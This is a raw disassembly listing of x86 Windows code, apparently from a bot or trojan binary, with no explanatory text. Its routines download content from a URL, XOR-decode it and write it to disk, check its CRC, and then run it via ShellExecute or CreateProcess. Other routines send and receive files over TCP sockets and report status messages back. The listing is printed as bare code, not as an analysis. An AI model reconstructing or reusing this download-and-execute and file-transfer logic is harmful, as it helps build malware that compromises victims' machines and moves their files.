xor esi, eax
inc edx
dec edi
jnz short loc_40B437
pop edi
pop ebx
loc_40B453: ; CODE XREF: sub_40B41E+Ej
mov eax, esi
pop esi
not eax
retn
sub_40B41E endp
; =============== S U B R O U T I N E =======================================
sub_40B459 proc near ; CODE XREF: sub_40BCEF+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_415DC9
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_415BE8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40B4A8
loc_40B47E: ; CODE XREF: sub_40B459+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40B4AC
inc ebx
push ebx
push esi
call sub_4174DF
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40B4A8
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_416BB0
add esp, 10h
jmp short loc_40B47E
; ---------------------------------------------------------------------------
loc_40B4A8: ; CODE XREF: sub_40B459+23j
; sub_40B459+39j
xor eax, eax
jmp short loc_40B4C7
; ---------------------------------------------------------------------------
loc_40B4AC: ; CODE XREF: sub_40B459+29j
dec ebx
push ebx
push esi
call sub_40B41E
push esi
mov ebx, eax
call sub_415E3D
push edi
call sub_415B40
add esp, 10h
mov eax, ebx
loc_40B4C7: ; CODE XREF: sub_40B459+51j
pop edi
pop esi
pop ebx
retn
sub_40B459 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4CB proc near ; CODE XREF: sub_40B551+33p
; sub_40BAB4+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_43A438
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40B547
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_43A3B8
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_43A3F8
cmp eax, esi
jnz short loc_40B52C
push [ebp+arg_0]
call dword_43A43C
test eax, eax
jz short loc_40B547
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40B52C: ; CODE XREF: sub_40B4CB+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_43A360
cmp eax, esi
jnz short loc_40B54B
push edi
call dword_43A450
loc_40B547: ; CODE XREF: sub_40B4CB+1Bj
; sub_40B4CB+58j
mov eax, esi
jmp short loc_40B54D
; ---------------------------------------------------------------------------
loc_40B54B: ; CODE XREF: sub_40B4CB+73j
mov eax, edi
loc_40B54D: ; CODE XREF: sub_40B4CB+7Ej
pop edi
pop esi
leave
retn
sub_40B4CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B551 proc near ; DATA XREF: sub_40CE55+A79o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40B4CB
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40B5E4
lea eax, [ebp+var_11B4]
push offset dword_42BAFC
push eax
call sub_4154E7
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40B5C7
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412D4C
add esp, 14h
loc_40B5C7: ; CODE XREF: sub_40B551+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40B16D
push [ebp+var_10]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
loc_40B5E4: ; CODE XREF: sub_40B551+3Fj
push offset byte_438FDC
push ebx
call sub_40A7FD
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40B64F
lea eax, [ebp+var_11B4]
push offset dword_42BAB8
push eax
call sub_4154E7
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40B62B
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412D4C
add esp, 14h
loc_40B62B: ; CODE XREF: sub_40B551+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40B16D
pop ecx
push ebx
call dword_43A450
push [ebp+var_10]
call sub_4152AF
pop ecx
push esi
call dword_421048
loc_40B64F: ; CODE XREF: sub_40B551+A3j
push 64h
call dword_421060
xor edi, edi
mov esi, 1000h
loc_40B65E: ; CODE XREF: sub_40B551+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_43A3D0
test eax, eax
jle short loc_40B6BB
lea eax, [ebp+var_11B4]
push offset asc_426CB4 ; "\n"
push eax
call sub_415C10
lea eax, [ebp+var_11B4]
push eax
call sub_40A5E9
add esp, 0Ch
test eax, eax
jz short loc_40B6BB
push 64h
call dword_421060
push 7
call sub_4151DB
test eax, eax
pop ecx
jnz short loc_40B65E
loc_40B6BB: ; CODE XREF: sub_40B551+130j
; sub_40B551+154j
lea eax, [ebp+var_11B4]
push offset dword_42BA70
push eax
call sub_4154E7
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40B6EE
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412D4C
add esp, 14h
loc_40B6EE: ; CODE XREF: sub_40B551+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40B16D
pop ecx
push ebx
call dword_43A450
push [ebp+var_10]
call sub_4152AF
pop ecx
push edi
call dword_421048
sub_40B551 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B712 proc near ; DATA XREF: sub_40CE55+46F3o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_43A438
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40B760
push offset dword_42BC9C
jmp loc_40B919
; ---------------------------------------------------------------------------
loc_40B760: ; CODE XREF: sub_40B712+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_43A3B8
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_43A3E4
test eax, eax
jz short loc_40B79E
push offset dword_42BC64
jmp loc_40B919
; ---------------------------------------------------------------------------
loc_40B79E: ; CODE XREF: sub_40B712+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_43A35C
push [ebp+var_2E]
call dword_43A2F4
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_415CF0
pop ecx
loc_40B7D0: ; CODE XREF: sub_40B712+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40B7E3
push 5Fh
pop eax
jmp short loc_40B7E6
; ---------------------------------------------------------------------------
loc_40B7E3: ; CODE XREF: sub_40B712+CAj
movsx eax, al
loc_40B7E6: ; CODE XREF: sub_40B712+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_415CF0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40B7D0
push ebx
push edi
call dword_43A3E0
test eax, eax
jz short loc_40B819
push offset dword_42BAFC
jmp loc_40B919
; ---------------------------------------------------------------------------
loc_40B819: ; CODE XREF: sub_40B712+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_421078
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40B843
push offset dword_42BC30
jmp loc_40B919
; ---------------------------------------------------------------------------
loc_40B843: ; CODE XREF: sub_40B712+125j
push esi
push eax
call dword_421090
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40A171
pop ecx
push eax
call dword_43A3F8
push eax
call dword_43A3B4
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_42BC18
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_412D4C
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_43A3A0
test eax, eax
jg short loc_40B8F3
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_42BBEC
push eax
push [ebp+var_1FC]
call sub_412D4C
jmp loc_40BA17
; ---------------------------------------------------------------------------
loc_40B8F3: ; CODE XREF: sub_40B712+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_43A44C
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40B92C
push offset dword_42BBB4
loc_40B919: ; CODE XREF: sub_40B712+49j
; sub_40B712+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40BA1A
; ---------------------------------------------------------------------------
loc_40B92C: ; CODE XREF: sub_40B712+200j
push edi
call dword_43A450
cmp [ebp+arg_0], esi
jz loc_40B9DE
mov edi, 400h
loc_40B941: ; CODE XREF: sub_40B712+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40B94E
mov [ebp+var_4], eax
loc_40B94E: ; CODE XREF: sub_40B712+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_415570
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_4210AC
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_421068
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_43A408
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_43A3D0
cmp eax, ebx
jl loc_40BA73
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40BA73
sub [ebp+arg_0], eax
jnz loc_40B941
mov edi, [ebp+var_18]
loc_40B9DE: ; CODE XREF: sub_40B712+224j
push [ebp+var_8]
call dword_42106C
push [ebp+var_C]
push [ebp+var_10]
call sub_40C218
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_43A444
push eax
lea eax, [ebp+var_3FC]
push offset dword_42BB60
push eax
call sub_4154E7
loc_40BA17: ; CODE XREF: sub_40B712+1DCj
add esp, 14h
loc_40BA1A: ; CODE XREF: sub_40B712+215j
cmp [ebp+var_50], esi
jnz short loc_40BA3F
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_412D4C
add esp, 14h
loc_40BA3F: ; CODE XREF: sub_40B712+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40B16D
cmp edi, esi
pop ecx
jbe short loc_40BA57
push edi
call dword_43A450
loc_40BA57: ; CODE XREF: sub_40B712+33Cj
push [ebp+var_1F8]
call dword_43A450
push [ebp+var_58]
call sub_4152AF
pop ecx
push esi
call dword_421048
loc_40BA73: ; CODE XREF: sub_40B712+2AFj
; sub_40B712+2BAj
push esi
mov esi, offset dword_42BB34
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_412D4C
push esi
call sub_40B16D
add esp, 18h
push [ebp+var_1F8]
call dword_43A450
push [ebp+var_58]
call sub_4152AF
pop ecx
push ebx
call dword_421048
sub_40B712 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BAB4 proc near ; DATA XREF: sub_40CE55+7B7o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
call dword_421058
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4154E7
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_421078
cmp eax, 0FFFFFFFFh
jnz short loc_40BB3E
push offset dword_42BDA4
jmp short loc_40BB84
; ---------------------------------------------------------------------------
loc_40BB3E: ; CODE XREF: sub_40BAB4+81j
push eax
call dword_42106C
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_415BE8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40BB66
push offset dword_42BD60
jmp short loc_40BB84
; ---------------------------------------------------------------------------
loc_40BB66: ; CODE XREF: sub_40BAB4+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40B4CB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40BB97
push offset dword_42BD2C
loc_40BB84: ; CODE XREF: sub_40BAB4+88j
; sub_40BAB4+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40BC91
; ---------------------------------------------------------------------------
loc_40BB97: ; CODE XREF: sub_40BAB4+C9j
mov esi, 1000h
loc_40BB9C: ; CODE XREF: sub_40BAB4+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43A3D0
mov edi, eax
cmp edi, ebx
jz loc_40BC63
cmp edi, 0FFFFFFFFh
jz short loc_40BC04
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_4175FF
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_43A3B4
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_43A408
jmp short loc_40BB9C
; ---------------------------------------------------------------------------
loc_40BC04: ; CODE XREF: sub_40BAB4+118j
lea eax, [ebp+var_4C4]
push offset dword_42BB34
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_412D4C
lea eax, [ebp+var_4C4]
push eax
call sub_40B16D
push [ebp+var_4]
call sub_415B40
add esp, 24h
push [ebp+arg_0]
call dword_43A450
push [ebp+var_1C]
call sub_4152AF
pop ecx
push 1
call dword_421048
loc_40BC63: ; CODE XREF: sub_40BAB4+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40C218
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_42BCD4
push eax
call sub_4154E7
add esp, 1Ch
loc_40BC91: ; CODE XREF: sub_40BAB4+DEj
cmp [ebp+var_14], ebx
jnz short loc_40BCB6
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_412D4C
add esp, 14h
loc_40BCB6: ; CODE XREF: sub_40BAB4+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_40B16D
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40BCD1
push [ebp+var_4]
call sub_415B40
pop ecx
loc_40BCD1: ; CODE XREF: sub_40BAB4+212j
cmp [ebp+arg_0], ebx
jbe short loc_40BCDF
push [ebp+arg_0]
call dword_43A450
loc_40BCDF: ; CODE XREF: sub_40BAB4+220j
push [ebp+var_1C]
call sub_4152AF
pop ecx
push ebx
call dword_421048
sub_40BAB4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BCEF proc near ; DATA XREF: sub_40CE55+36E9o
; sub_40CE55+3E36o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_43A368
call dword_43A2C8
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40C17B
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_421078
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40BDB6
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_42C060
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40BD99
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
add esp, 14h
loc_40BD99: ; CODE XREF: sub_40BCEF+88j
lea eax, [ebp+var_510]
push eax
call sub_40B16D
push [ebp+var_48]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
loc_40BDB6: ; CODE XREF: sub_40BCEF+68j
xor edi, edi
call dword_42104C
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_415DC9
pop ecx
mov [ebp+var_1C], eax
loc_40BDD0: ; CODE XREF: sub_40BCEF+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_43A2D0
cmp [ebp+var_34], esi
jz short loc_40BE14
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_40C1E1
pop ecx
pop ecx
loc_40BE14: ; CODE XREF: sub_40BCEF+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_421070
cmp edi, ebx
jnb short loc_40BE52
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40BE3C
mov eax, [ebp+arg_0]
loc_40BE3C: ; CODE XREF: sub_40BCEF+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_4155D0
add esp, 0Ch
loc_40BE52: ; CODE XREF: sub_40BCEF+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40BE5F
cmp edi, [ebp+var_3C]
ja short loc_40BEA9
loc_40BE5F: ; CODE XREF: sub_40BCEF+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_40BE79
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42C014
jmp short loc_40BE89
; ---------------------------------------------------------------------------
loc_40BE79: ; CODE XREF: sub_40BCEF+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42BFD0
loc_40BE89: ; CODE XREF: sub_40BCEF+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_43F348
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40BDD0
loc_40BEA9: ; CODE XREF: sub_40BCEF+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40BEFE
cmp edi, [ebp+var_3C]
jz short loc_40BEFE
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_42BF88
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
lea eax, [ebp+var_510]
push eax
call sub_40B16D
add esp, 28h
loc_40BEFE: ; CODE XREF: sub_40BCEF+1C4j
; sub_40BCEF+1C9j
call dword_42104C
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_42106C
push [ebp+var_1C]
call sub_415E3D
cmp [ebp+var_38], esi
pop ecx
jz short loc_40BF88
lea eax, [ebp+var_148]
push eax
call sub_40B459
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40BF88
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_42BF4C
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
lea eax, [ebp+var_510]
push eax
call sub_40B16D
add esp, 28h
loc_40BF88: ; CODE XREF: sub_40BCEF+241j
; sub_40BCEF+253j
cmp [ebp+var_14], esi
jz loc_40C1C8
cmp [ebp+var_44], 1
jz loc_40C083
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421660
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421660
fstp [esp+590h+var_590]
push offset unk_42BF00
push eax
call sub_4154E7
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40C003
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
add esp, 14h
loc_40C003: ; CODE XREF: sub_40BCEF+2F2j
lea eax, [ebp+var_510]
push eax
call sub_40B16D
cmp [ebp+var_40], 1
pop ecx
jnz loc_40C1C8
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_43A32C
cmp [ebp+var_30], esi
jnz loc_40C1C8
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42BEC8
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
lea eax, [ebp+var_510]
push eax
call sub_40B16D
add esp, 24h
jmp loc_40C1C8
; ---------------------------------------------------------------------------
loc_40C083: ; CODE XREF: sub_40BCEF+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421660
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421660
fstp [esp+590h+var_590]
push offset unk_42BE74
push eax
call sub_4154E7
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40C0EB
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
add esp, 14h
loc_40C0EB: ; CODE XREF: sub_40BCEF+3DAj
lea eax, [ebp+var_510]
push eax
call sub_40B16D
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415570
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_415570
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_438FDC
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call dword_4210EC
cmp eax, edi
jnz short loc_40C16D
call dword_43A318
call sub_409E15
push esi
call dword_421114
loc_40C16D: ; CODE XREF: sub_40BCEF+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_42BE28
jmp short loc_40C187
; ---------------------------------------------------------------------------
loc_40C17B: ; CODE XREF: sub_40BCEF+45j
lea eax, [ebp+var_248]
push eax
push offset unk_42BDE8
loc_40C187: ; CODE XREF: sub_40BCEF+48Aj
lea eax, [ebp+var_510]
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40C1BB
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
add esp, 14h
loc_40C1BB: ; CODE XREF: sub_40BCEF+4AAj
lea eax, [ebp+var_510]
push eax
call sub_40B16D
pop ecx
loc_40C1C8: ; CODE XREF: sub_40BCEF+29Cj
; sub_40BCEF+325j ...
push [ebp+var_18]
call dword_43A3EC
push [ebp+var_48]
call sub_4152AF
pop ecx
push esi
call dword_421048
sub_40BCEF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C1E1 proc near ; CODE XREF: sub_40BCEF+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40C1FD
loc_40C1ED: ; CODE XREF: sub_40C1E1+1Aj
mov dl, byte_42C19C
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40C1ED
locret_40C1FD: ; CODE XREF: sub_40C1E1+Aj
retn
sub_40C1E1 endp
; =============== S U B R O U T I N E =======================================
sub_40C1FE proc near ; CODE XREF: sub_40CE55+293Cp
; sub_40CE55+2A93p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_417709
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40C1FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C218 proc near ; CODE XREF: sub_4063B0+45Dp
